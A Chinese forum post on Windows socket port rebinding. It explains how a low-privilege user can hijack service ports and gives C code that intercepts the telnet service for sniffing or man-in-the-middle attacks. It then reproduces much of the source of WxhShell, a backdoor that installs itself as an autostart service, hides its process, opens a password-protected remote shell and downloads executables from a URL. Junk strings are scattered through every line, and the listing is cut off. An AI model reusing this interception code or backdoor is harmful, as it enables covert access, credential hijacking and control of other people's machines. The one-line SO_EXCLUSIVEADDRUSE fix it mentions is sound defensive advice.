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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 11TL~ xFh  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^]7}YF2|  
(^s>m,h  
  saddr.sin_family = AF_INET; O9vQp  
,X#2\r<|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9G9fDG#F\I  
"k/;[ Wt]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w0ht  
BZ:H`M`n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -- PtZ]Z  
A$<.a'&T!  
  这意味着什么?意味着可以进行如下的攻击: gMY1ts}Z  
3wOZ4<B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 M*!agh  
[.m`+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Yb +yw_5  
\wo?47+=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >[MX:Yh  
`)` n(B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <%($7VMev  
"|Xk2U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Gnf~u[T6  
O?)3VT*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 y603$Cv  
^X0P'l &D2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 YwteZSbp6M  
ZZ k=E4aae  
  #include >{N9kW Y  
  #include Kh,V.+7k  
  #include ozAS[B6  
  #include    '{E@*T /<.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   e91aK  
  int main() %JXE5l+pJ  
  { W=vG$  
  WORD wVersionRequested; DKne'3pH  
  DWORD ret; 9bP^`\K[N  
  WSADATA wsaData; q-.,nMUF  
  BOOL val; ^c<ucv6.  
  SOCKADDR_IN saddr; a&tSj35*6  
  SOCKADDR_IN scaddr; ]4~lYuI4  
  int err; 5Y.vJz  
  SOCKET s; V@Rrn <l  
  SOCKET sc; WfWN(:dF  
  int caddsize; "^4_@ oo  
  HANDLE mt; t\Nq R  
  DWORD tid;   h?rp|uPQ  
  wVersionRequested = MAKEWORD( 2, 2 ); 'h/CoTk@,  
  err = WSAStartup( wVersionRequested, &wsaData ); .l>77zM6  
  if ( err != 0 ) { WP?TX b`5  
  printf("error!WSAStartup failed!\n"); &0='r;*i  
  return -1; 3|WWo1  
  } !u_Y7i3^  
  saddr.sin_family = AF_INET; E5)b  
   [pl'|B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 eCN })An  
=+ytTQc*ot  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f47Od-\-  
  saddr.sin_port = htons(23); N"8_S0=pw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #.it]Nv{  
  { ,$+lFv3LE  
  printf("error!socket failed!\n"); @W va tD V  
  return -1; >=RmGS  
  } gg[WlRQK4A  
  val = TRUE; }!;s.[y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Qy.w=80kf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "5-^l.CKH  
  { cV 5CaaL  
  printf("error!setsockopt failed!\n"); 6I1,:nLL<  
  return -1; )=5ng-  
  } ~KW,kyXBnD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Qj,]N@7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7[I}*3Q'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7N-w eX  
:,Pn3xl  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f#?fxUH~  
  { h!&prYx  
  ret=GetLastError(); {U!8|(  
  printf("error!bind failed!\n"); .z 6fv  
  return -1; GqWB{$J;"  
  } ZT,B(#m  
  listen(s,2); T? tG~  
  while(1) ])L A42|  
  { '`eO\huf  
  caddsize = sizeof(scaddr); KMU4n-s"o  
  //接受连接请求 \=uKHNP?#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "ul {d(K3  
  if(sc!=INVALID_SOCKET) ]3VI|f$$  
  { - M[$Zy^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G]fRk^~  
  if(mt==NULL) 29!q!g|  
  { ? %`@ub$  
  printf("Thread Creat Failed!\n"); _{r=.W+ w  
  break; v'VD0+3[H  
  } LUuZ9$t0J"  
  } 6xWe=QGE  
  CloseHandle(mt); ANJ$'3tg  
  } :Qumb  
  closesocket(s); >iD )eB  
  WSACleanup(); pV20oSJNt  
  return 0; MKy[hT:  
  }   zY,r9<I8_x  
  DWORD WINAPI ClientThread(LPVOID lpParam) )6+eNsxMlC  
  { >c9a0A  
  SOCKET ss = (SOCKET)lpParam; nx8a$vI-TY  
  SOCKET sc; PIH*Rw*GKZ  
  unsigned char buf[4096]; &m|wH4\  
  SOCKADDR_IN saddr;  AT9q3  
  long num; Eve.QAl|  
  DWORD val; mMb'@  
  DWORD ret; UG)8D5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QS{1CC9$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   TYJ:!  
  saddr.sin_family = AF_INET; 3~}uqaGt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T{Sb^-H#X  
  saddr.sin_port = htons(23); /RHo1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gA:5M  
  { ZHGC6a!a  
  printf("error!socket failed!\n"); )=AHf?hn  
  return -1; o3I Tr';  
  } fRtUvC-#H  
  val = 100; O)ME"@r@:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `t_W2y   
  { ,!dh2xNH^  
  ret = GetLastError(); j:E<p_T  
  return -1; KnsT\>[K  
  } qW!]co  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YN`H BFH  
  {  A-4h  
  ret = GetLastError(); GlbySD@  
  return -1; F8;dKyT?q  
  } dl ~%MWAVb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?gJy3@D  
  { 6`]$qSTS  
  printf("error!socket connect failed!\n"); u86"Y ^d#  
  closesocket(sc); &_~+(  
  closesocket(ss); PI`jExL  
  return -1; NX|v=  
  } [k6nW:C  
  while(1) d/ bEt&  
  { mnmP<<8C,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =$nB/K,8AX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .G+Pe'4a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yi l[gPy4B  
  num = recv(ss,buf,4096,0); M#~Cc~oT  
  if(num>0) ``OD.aY^s  
  send(sc,buf,num,0); 'bo~%WA]n  
  else if(num==0) XLL/4)  
  break; SQqD:{#g"  
  num = recv(sc,buf,4096,0); L{(QpgHZ  
  if(num>0) #B:hPZM1  
  send(ss,buf,num,0); O2BW6Wc  
  else if(num==0) 91$]Qg,lB  
  break; ^4,a8`  
  } Sqo : -  
  closesocket(ss); G}FIjBE  
  closesocket(sc); df n9!h  
  return 0 ; JaK}|  
  } ,t`Kv1  
0#ClWynjRO  
:'*DPB-  
========================================================== 7vABq(  
( YQWbOk  
下边附上一个代码,,WXhSHELL *,Za6.=  
{%IExPJ  
========================================================== ,:??P1  
 w~ [b*$  
#include "stdafx.h" >2]JXLq  
'A:x/iv}^  
#include <stdio.h> %K>.lh@  
#include <string.h> h=(DX5:A  
#include <windows.h> F0:A]`|  
#include <winsock2.h> 'k4E4OB  
#include <winsvc.h> 4H|(c[K;  
#include <urlmon.h> xj[(P$,P  
xia|+  
#pragma comment (lib, "Ws2_32.lib") 55;g1o}}f  
#pragma comment (lib, "urlmon.lib") aBNZdX]vzO  
PJ2qfYsH=>  
#define MAX_USER   100 // 最大客户端连接数 dw TMq*e  
#define BUF_SOCK   200 // sock buffer I('Un@hS  
#define KEY_BUFF   255 // 输入 buffer v>Mnl  
Rr!Y3)f;  
#define REBOOT     0   // 重启 (ZY@$''  
#define SHUTDOWN   1   // 关机 V^\8BVw  
[-)r5Dsdq  
#define DEF_PORT   5000 // 监听端口 i} N8(B(  
HO[wTB|D]  
#define REG_LEN     16   // 注册表键长度 ' 4E R00  
#define SVC_LEN     80   // NT服务名长度 ET[k pL  
TOoQZTI  
// 从dll定义API r\blyWi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k%E2n:|*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 04*6(L)h*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KID,|K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A0Zt8>w  
bzvh%RsW  
// wxhshell配置信息 Vo7dAHHL  
struct WSCFG { %s&ChM?8F  
  int ws_port;         // 监听端口 >-O/U5<!  
  char ws_passstr[REG_LEN]; // 口令 ]ix!tb.Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no @"o@}9=d  
  char ws_regname[REG_LEN]; // 注册表键名 kWNV%RlSx  
  char ws_svcname[REG_LEN]; // 服务名 &[At`Nw71  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1?| f lK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0 s 70r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2hee./F`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wN2QK6Oc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4WE6fJ2X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m\ddp_l  
;L,mBQB?0b  
}; fPrLM'  
[p2H=  
// default Wxhshell configuration MNg^]tpf  
struct WSCFG wscfg={DEF_PORT, 8Th` ]tI  
    "xuhuanlingzhe", bO&7-Z~:=  
    1, ua OKv.%  
    "Wxhshell", on8WQf'A#  
    "Wxhshell",  y2+p1  
            "WxhShell Service", ^mb[j`CCt  
    "Wrsky Windows CmdShell Service", a&k_=/X&  
    "Please Input Your Password: ", lt_']QqU  
  1, Q7g>4GZC  
  "http://www.wrsky.com/wxhshell.exe", 5bA)j!#)|X  
  "Wxhshell.exe" ki{3IEOr}  
    }; lhi_6&&[8  
t w(JZDc  
// 消息定义模块 [2dn\z28  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (E,Yo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Raw)9tUt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z.6$W^  
char *msg_ws_ext="\n\rExit."; \T;\XAGr  
char *msg_ws_end="\n\rQuit.";  ru`U'  
char *msg_ws_boot="\n\rReboot..."; & u!\<\  
char *msg_ws_poff="\n\rShutdown..."; nN~~cV  
char *msg_ws_down="\n\rSave to "; gN>2xnh'm  
r@{~ 5&L  
char *msg_ws_err="\n\rErr!"; ,&d@O>$E:  
char *msg_ws_ok="\n\rOK!"; {<5ybbhLV  
R@wjccu  
char ExeFile[MAX_PATH]; 5BR2?hO4  
int nUser = 0; wP57Pf0  
HANDLE handles[MAX_USER]; [j"9rO" +  
int OsIsNt; @&"Pci+-|  
jM&r{^(  
SERVICE_STATUS       serviceStatus; i[ $0a4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >5wx+n)/)  
fi+R2p~vs  
// 函数声明 gZEi]/8_  
int Install(void); 5"/J^"!h  
int Uninstall(void); .7 asW(  
int DownloadFile(char *sURL, SOCKET wsh); 2jbIW*  
int Boot(int flag); $46{<4.  
void HideProc(void); -!)xQvagD.  
int GetOsVer(void); x)UwV  
int Wxhshell(SOCKET wsl); &h~Xq^  
void TalkWithClient(void *cs); 4HAp{a1  
int CmdShell(SOCKET sock); ||zb6|7I4  
int StartFromService(void); h!#:$|Q  
int StartWxhshell(LPSTR lpCmdLine); J|3E-p\o  
qClHP)<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i%{3W:!4t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vfNAs>Xg"  
UYA_jpIP  
// 数据结构和表定义 @VN&t:/l  
SERVICE_TABLE_ENTRY DispatchTable[] = @Eb2k!T  
{ Lw'9  
{wscfg.ws_svcname, NTServiceMain}, bT6sb#"W  
{NULL, NULL} n$aA)"A #  
}; J>^\oAgpE  
f""`cdqAOh  
// 自我安装 QW_agm  
int Install(void) ]?h`:,]  
{ ^ZM0c>ev=l  
  char svExeFile[MAX_PATH]; 2S8P}$mM  
  HKEY key; O,<IGO  
  strcpy(svExeFile,ExeFile); ;Efcw[<  
F3oQ^;xB  
// 如果是win9x系统,修改注册表设为自启动 +f0~D(d!_  
if(!OsIsNt) { hfcIvs/!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lc6i KFyG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h8 G5GRD  
  RegCloseKey(key); u4"SH(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Uu7dSU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n}mR~YqD  
  RegCloseKey(key); za'6Y*CGgX  
  return 0; hCYQGx0  
    } E(Rh#+]Y5  
  } HP.E3yYK  
} +Ug/rtK4   
else { gq"k<C0  
iU+nqY'  
// 如果是NT以上系统,安装为系统服务 aS}1Q?cU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &t(0E:^TRU  
if (schSCManager!=0) N 4K8 u'f^  
{ ^+SkCO  
  SC_HANDLE schService = CreateService PS S?|Vk  
  ( OquAql:   
  schSCManager, 3K@@D B6  
  wscfg.ws_svcname, dV?5Q_}  
  wscfg.ws_svcdisp, `Y40w#?uW  
  SERVICE_ALL_ACCESS, 0)m8)!gj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LwuF0\  
  SERVICE_AUTO_START, .bD_R7Bi6  
  SERVICE_ERROR_NORMAL, U Q@7n1  
  svExeFile, '<iK*[NW  
  NULL, q EUT90  
  NULL, ._z 'g_c(  
  NULL, QMo}W{D  
  NULL,  qW_u  
  NULL Q>qFM9Z  
  ); CJaKnz  
  if (schService!=0) 3ew8m}A{O  
  { fU2qrcVu  
  CloseServiceHandle(schService); ?@6/Alk  
  CloseServiceHandle(schSCManager); |DF9cd^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zVv04_:  
  strcat(svExeFile,wscfg.ws_svcname); z5Qs @dG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XA_FOw!cX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +~nzii3  
  RegCloseKey(key); _U| 7'^|  
  return 0; XH7xT@  
    } E3/:.t  
  } 9^F2$+T[:  
  CloseServiceHandle(schSCManager); 8 iC:xcN3  
} 2WvN2" f3  
} w'7R4  
m+$ @'TbP  
return 1; MVCl.o  
} EA<}[4#jS  
|rRG=tG_'  
// 自我卸载 ]7AX%EG3  
int Uninstall(void) lz | 64J  
{ }iBC@`mg(  
  HKEY key; _L.n,  
% 0:p)Z0  
if(!OsIsNt) { 7yI @"c#O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ps:f=6m2  
  RegDeleteValue(key,wscfg.ws_regname); P`1EPF  
  RegCloseKey(key); _DPOyR2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  PWgDFL?  
  RegDeleteValue(key,wscfg.ws_regname); smAC,-6 ]~  
  RegCloseKey(key); ^a9 oKI9n  
  return 0; ^ons:$0h  
  } 2 4\g bv<  
} [IM%b~j(^  
} "L& k)J  
else { g+zJ?  
u3tZ[Y2 c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (9fdljl],:  
if (schSCManager!=0) a?cn9i)#  
{ $<?X7n^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @=]8^?$t 0  
  if (schService!=0) KT*:F(4`  
  { X}4}&  
  if(DeleteService(schService)!=0) { -[#n+`M  
  CloseServiceHandle(schService); ~bA,GfSn0  
  CloseServiceHandle(schSCManager); yfjXqn[Z4  
  return 0; iy5R5L 2  
  } WN a0,  
  CloseServiceHandle(schService); ek-!b!iI  
  } t]_S  
  CloseServiceHandle(schSCManager); eQX`,9:5  
} ,35&G"JK5  
} @y~P&HUN  
Yig0/ "  
return 1; P]<= ! F  
} Sg*0[a3z  
0??Yr  
// 从指定url下载文件 [!*xO?yCJ  
int DownloadFile(char *sURL, SOCKET wsh) EH9Hpo  
{ ,qFA\cO*  
  HRESULT hr; ~0tdfK0c  
char seps[]= "/"; L0h G  
char *token; 1-;?0en&0  
char *file; jPu5nwvUV>  
char myURL[MAX_PATH]; =LH}YUmd  
char myFILE[MAX_PATH]; h#f&|* Q5m  
4B O %{  
strcpy(myURL,sURL); CUmH,`hu  
  token=strtok(myURL,seps); 89eq[ |G_  
  while(token!=NULL) d;suACW  
  { 0my9l;X   
    file=token; ~\_T5/I%  
  token=strtok(NULL,seps); .{rbw9  
  } r:.uBc&_  
\gKdD S  
GetCurrentDirectory(MAX_PATH,myFILE); sB*o)8  
strcat(myFILE, "\\"); MR9/Y:Nm  
strcat(myFILE, file); x6yW:tUG5  
  send(wsh,myFILE,strlen(myFILE),0); hFb fNB3  
send(wsh,"...",3,0); Z(!pYhLq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s^C;>  
  if(hr==S_OK) c]m! G'L_/  
return 0; F$6? t.@J  
else T[Q"}&bB  
return 1; Gi$gtLtN h  
bejGfc  
} !;}2F-  
P\B3 y+)  
// 系统电源模块 L~0& Q  
int Boot(int flag) $iJnxqn  
{ V,4.$<e  
  HANDLE hToken; N=ifIVc  
  TOKEN_PRIVILEGES tkp; j=3-Qk`"/|  
:I/  
  if(OsIsNt) { el@XK}<dr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kO3 `54  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H @!#;w  
    tkp.PrivilegeCount = 1; D9,! %7i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !UNNjBBP7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^8742.  
if(flag==REBOOT) { ?V+wjw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P>htQ  
  return 0; F3 f@9@b   
} p?Sl}A@`  
else { Zc\S$+PM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,olwwv_8G  
  return 0; @\!!t{y  
} F.KrZ3%4iB  
  } {!K;`I[]v  
  else { (|0b7 |'T  
if(flag==REBOOT) { r@$B'CsLj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6&],WGz  
  return 0; 9s $PrF  
} ^![{,o@"A  
else { i_Ar<9a~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?M"HXu  
  return 0; IQ{?_'  
} UX}*X`{  
} 3}4#I_<$F@  
@&:VKpu\  
return 1; 5'9.np F)  
} )k%M.{&bji  
u9}!Gq  
// win9x进程隐藏模块 \dNhzd#  
void HideProc(void) "t+r+ipf])  
{ N9*UMVU  
zlMlMyG4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cs5ix"1A  
  if ( hKernel != NULL ) 8nu> gA  
  { hT=f;6$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OX)BP.h#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !rHx}n{rw  
    FreeLibrary(hKernel); TolrEcI  
  } 9Z9l:}bO  
.\4l'THn,0  
return; K{FhT9R'  
} Z!)f*  
rIPl6,w~  
// 获取操作系统版本 G1r V<,#m  
int GetOsVer(void) ?d,M.o{0]  
{ 5 ZUy:  
  OSVERSIONINFO winfo; >W~=]&7{s4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J" wKRy  
  GetVersionEx(&winfo); {e6 KJ@H6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %#4 +!  
  return 1; 0%;M VMH  
  else W^|J/Y48  
  return 0; #XL`S  
} - #Jj-t_Fe  
a(!3Afi  
// 客户端句柄模块 m9b(3  
int Wxhshell(SOCKET wsl) o_3*;}k8  
{ s?+fPOF  
  SOCKET wsh; f@*>P_t  
  struct sockaddr_in client; u7 ~mn l  
  DWORD myID; cP('@K=p  
Wa}"SqYr h  
  while(nUser<MAX_USER) :5<#X8>d  
{ .J:;_4x  
  int nSize=sizeof(client); #}j]XWy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Avd *~  
  if(wsh==INVALID_SOCKET) return 1; H CuK  
2@5A&b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ywe5tU  
if(handles[nUser]==0) 2moIgJ   
  closesocket(wsh); 5"e+& zU~f  
else F%y{% C7l  
  nUser++; QP<FCmt8  
  } ?GfxBZWJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s!i:0}U  
2i"HqAB  
  return 0; %U:C|  
} |87W*  
,aYU$~o#  
// 关闭 socket 0ZT 0  
void CloseIt(SOCKET wsh) *CT.G'bQX  
{ Bj+wayMi  
closesocket(wsh); Ba<#1p7_  
nUser--; YkVRl [  
ExitThread(0); @7]\y7D  
} vQcUaPm\$  
:Ip~)n9t  
// 客户端请求句柄 {[N?+ZJD*L  
void TalkWithClient(void *cs) 5C* ?1& !  
{ lf;~5/%wMG  
b<8q 92F  
  SOCKET wsh=(SOCKET)cs; >0 7shNX  
  char pwd[SVC_LEN]; >waN;&>/  
  char cmd[KEY_BUFF]; k5g@myb-  
char chr[1]; .h a`)@MsZ  
int i,j; ;i}i5yv2  
^YqbjL  
  while (nUser < MAX_USER) { %db3f z  
iW":DOdi_  
if(wscfg.ws_passstr) { Qz# 3p3N?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9Dy)nm^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {DSyV:   
  //ZeroMemory(pwd,KEY_BUFF); 6G$/NW=L  
      i=0; t+jIHo  
  while(i<SVC_LEN) { hO%Y{Gg  
we }#Ru*  
  // 设置超时  Hl!1h%  
  fd_set FdRead; G}s;JJax  
  struct timeval TimeOut; Q^vGj</u  
  FD_ZERO(&FdRead); SC]6F*  
  FD_SET(wsh,&FdRead); nQ!N}5[z'  
  TimeOut.tv_sec=8; |iAEDZn  
  TimeOut.tv_usec=0; ZHb7+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >2nF"?"=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :82?'aR  
$m{{,&}k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >Sh0dFqeT  
  pwd=chr[0]; G]at{(^Vz  
  if(chr[0]==0xd || chr[0]==0xa) { W3"vTZJF  
  pwd=0; d8D yv#gT  
  break; w<btv]X1  
  } rtcJ=`)0`  
  i++; uF+);ig  
    } m\l51}xz  
%C6|-?TAd  
  // 如果是非法用户,关闭 socket 8TUF w@H%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  {`tHJ|8  
} PnI)n=(\  
zI1(F67d`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8rla0d@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FYxUOO  
b8eDD+ulk  
while(1) { gQu\[e%mVo  
eB)UXOu1  
  ZeroMemory(cmd,KEY_BUFF); o`oRG)QC  
mi*:S%;h  
      // 自动支持客户端 telnet标准   XSD"/_xD  
  j=0; Fp wlV}:  
  while(j<KEY_BUFF) { [SKP|`I>I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $_ST:h&C  
  cmd[j]=chr[0]; "vv$%^  
  if(chr[0]==0xa || chr[0]==0xd) { '\Qf,%%.  
  cmd[j]=0; *QMF <ze  
  break; Ma% E&.ed  
  } D%6ir*%T  
  j++; w2.qT+; v  
    } ": mCZUt  
.%|OGl ?  
  // 下载文件 { +i;e]c  
  if(strstr(cmd,"http://")) { ^H f+du  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @ARAX\F  
  if(DownloadFile(cmd,wsh)) "K9vm^xP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UDhwnGTq(l  
  else _HSTiJVr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]|H]9mys98  
  } &z7N\n  
  else { .;]YJy  
9OE_?R0c!  
    switch(cmd[0]) {  ]H@v  
  r0rJ.}!  
  // 帮助 &f (sfM_n  
  case '?': { x0}<n99qE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |:!E HFr  
    break; Fcu Eeca  
  } %:yHMEG]'  
  // 安装 ;}UIj{sj*  
  case 'i': { 3(oZZz  
    if(Install()) I8E\'`:<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T2c_vY   
    else J"m%q\'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7vB9K_wCI  
    break; ctnAVm  
    } \9&YV;Ct  
  // 卸载 :< KSf#O  
  case 'r': { BaNU}@  
    if(Uninstall()) jM|YW*zNZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PM#$H  
    else V\e13cL]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `?Y_0Nh>  
    break; d;@E~~o?B]  
    } ^sr:N5~z`  
  // 显示 wxhshell 所在路径 C*Y :w  
  case 'p': { _47j9m]f  
    char svExeFile[MAX_PATH]; %fex uy4  
    strcpy(svExeFile,"\n\r"); wN/*|?`Z  
      strcat(svExeFile,ExeFile); v@}1WGY  
        send(wsh,svExeFile,strlen(svExeFile),0); ogkz(wZ  
    break; nN(D7wk  
    } 6!gtve_  
  // 重启 -Z[R S{#+T  
  case 'b': { x"zjN'|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z7m GC`>  
    if(Boot(REBOOT)) .(gT+5[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EU?&  
    else { i9f7=-[U_  
    closesocket(wsh); YUP%K!k  
    ExitThread(0); i-Ge *?  
    } (50[,:#  
    break; /e j/&x15  
    } URmAI8fq*M  
  // 关机 mE3SiR "  
  case 'd': { @8 oDy$j  
